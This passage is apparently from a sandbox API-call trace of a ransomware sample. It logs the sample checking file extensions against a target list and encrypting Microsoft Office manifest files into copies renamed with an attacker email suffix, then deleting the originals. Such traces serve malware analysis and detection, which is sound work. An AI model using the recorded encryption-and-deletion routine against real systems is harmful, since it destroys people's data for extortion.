(lpString=".dbf") returned 4 [0049.393] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.393] lstrlenW (lpString=".1cd") returned 4 [0049.393] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0049.393] lstrlenW (lpString=".jpg") returned 4 [0049.393] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.394] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.394] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0049.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.394] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=2147) returned 1 [0049.394] CloseHandle (hObject=0x398) returned 1 [0049.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0049.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.395] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.395] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.395] GetLastError () returned 0x0 [0049.395] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x863, lpOverlapped=0x0) returned 1 [0049.459] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x870, lpOverlapped=0x0) returned 1 [0049.460] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.460] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.460] SetEndOfFile (hFile=0x350) returned 1 [0049.460] CloseHandle (hObject=0x350) returned 1 [0049.461] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.461] SetEndOfFile (hFile=0x398) returned 1 [0049.462] CloseHandle (hObject=0x398) returned 1 [0049.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.462] lstrlenW (lpString=".doc") returned 4 [0049.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.462] lstrlenW (lpString=".docx") returned 5 [0049.462] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.462] lstrlenW (lpString=".pdf") returned 4 [0049.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.462] lstrlenW (lpString=".xls") returned 4 [0049.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.462] lstrlenW (lpString=".xlsx") returned 5 [0049.463] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.463] lstrlenW (lpString=".ppt") returned 4 [0049.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString=".zip") returned 4 [0049.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.463] lstrlenW (lpString=".rar") returned 4 [0049.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString=".bz2") returned 4 [0049.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString=".7z") returned 3 [0049.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString=".dbf") returned 4 [0049.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString=".1cd") returned 4 [0049.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString=".jpg") returned 4 [0049.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.463] lstrlenW (lpString=".doc") returned 4 [0049.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString=".docx") returned 5 [0049.463] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.463] lstrlenW (lpString=".pdf") returned 4 [0049.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString=".xls") returned 4 [0049.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.463] lstrlenW (lpString=".xlsx") returned 5 [0049.463] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.463] lstrlenW (lpString=".ppt") returned 4 [0049.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.464] lstrlenW (lpString=".zip") returned 4 [0049.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.464] lstrlenW (lpString=".rar") returned 4 [0049.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.464] lstrlenW (lpString=".bz2") returned 4 [0049.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.464] lstrlenW (lpString=".7z") returned 3 [0049.464] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.464] lstrlenW (lpString=".dbf") returned 4 [0049.464] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.464] lstrlenW (lpString=".1cd") returned 4 [0049.464] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0049.464] lstrlenW (lpString=".jpg") returned 4 [0049.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.464] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.464] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0049.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.465] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=215883) returned 1 [0049.465] CloseHandle (hObject=0x398) returned 1 [0049.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.466] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.466] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.467] GetLastError () returned 0x0 [0049.467] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0049.695] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0049.698] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.699] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.699] SetEndOfFile (hFile=0x350) returned 1 [0049.699] CloseHandle (hObject=0x350) returned 1 [0049.702] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.703] SetEndOfFile (hFile=0x398) returned 1 [0049.706] CloseHandle (hObject=0x398) returned 1 [0049.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0049.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.707] lstrlenW (lpString=".doc") returned 4 [0049.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.707] lstrlenW (lpString=".docx") returned 5 [0049.707] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.707] lstrlenW (lpString=".pdf") returned 4 [0049.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.707] lstrlenW (lpString=".xls") returned 4 [0049.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.707] lstrlenW (lpString=".xlsx") returned 5 [0049.707] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.707] lstrlenW (lpString=".ppt") returned 4 [0049.707] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.707] lstrlenW (lpString=".zip") returned 4 [0049.707] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.707] lstrlenW (lpString=".rar") returned 4 [0049.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".bz2") returned 4 [0049.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".7z") returned 3 [0049.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString=".dbf") returned 4 [0049.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString=".1cd") returned 4 [0049.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString=".jpg") returned 4 [0049.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString=".doc") returned 4 [0049.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".docx") returned 5 [0049.708] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.708] lstrlenW (lpString=".pdf") returned 4 [0049.708] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".xls") returned 4 [0049.708] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".xlsx") returned 5 [0049.708] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.708] lstrlenW (lpString=".ppt") returned 4 [0049.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.708] lstrlenW (lpString=".zip") returned 4 [0049.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.708] lstrlenW (lpString=".rar") returned 4 [0049.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.708] lstrlenW (lpString=".bz2") returned 4 [0049.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.709] lstrlenW (lpString=".7z") returned 3 [0049.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.709] lstrlenW (lpString=".dbf") returned 4 [0049.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.709] lstrlenW (lpString=".1cd") returned 4 [0049.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0049.709] lstrlenW (lpString=".jpg") returned 4 [0049.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.709] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.709] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0049.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.709] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=357349) returned 1 [0049.709] CloseHandle (hObject=0x398) returned 1 [0049.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.710] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.710] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.710] GetLastError () returned 0x0 [0049.710] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x573e5, lpOverlapped=0x0) returned 1 [0049.853] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x573f0, lpOverlapped=0x0) returned 1 [0049.895] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.895] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.895] SetEndOfFile (hFile=0x350) returned 1 [0049.895] CloseHandle (hObject=0x350) returned 1 [0049.901] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.901] SetEndOfFile (hFile=0x398) returned 1 [0049.904] CloseHandle (hObject=0x398) returned 1 [0049.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0049.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.905] lstrlenW (lpString=".doc") returned 4 [0049.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.905] lstrlenW (lpString=".docx") returned 5 [0049.905] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.905] lstrlenW (lpString=".pdf") returned 4 [0049.905] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.905] lstrlenW (lpString=".xls") returned 4 [0049.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.905] lstrlenW (lpString=".xlsx") returned 5 [0049.905] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.905] lstrlenW (lpString=".ppt") returned 4 [0049.905] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.905] lstrlenW (lpString=".zip") returned 4 [0049.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.905] lstrlenW (lpString=".rar") returned 4 [0049.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.905] lstrlenW (lpString=".bz2") returned 4 [0049.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString=".7z") returned 3 [0049.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString=".dbf") returned 4 [0049.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString=".1cd") returned 4 [0049.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString=".jpg") returned 4 [0049.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString=".doc") returned 4 [0049.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString=".docx") returned 5 [0049.906] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.906] lstrlenW (lpString=".pdf") returned 4 [0049.906] lstrcmpiW 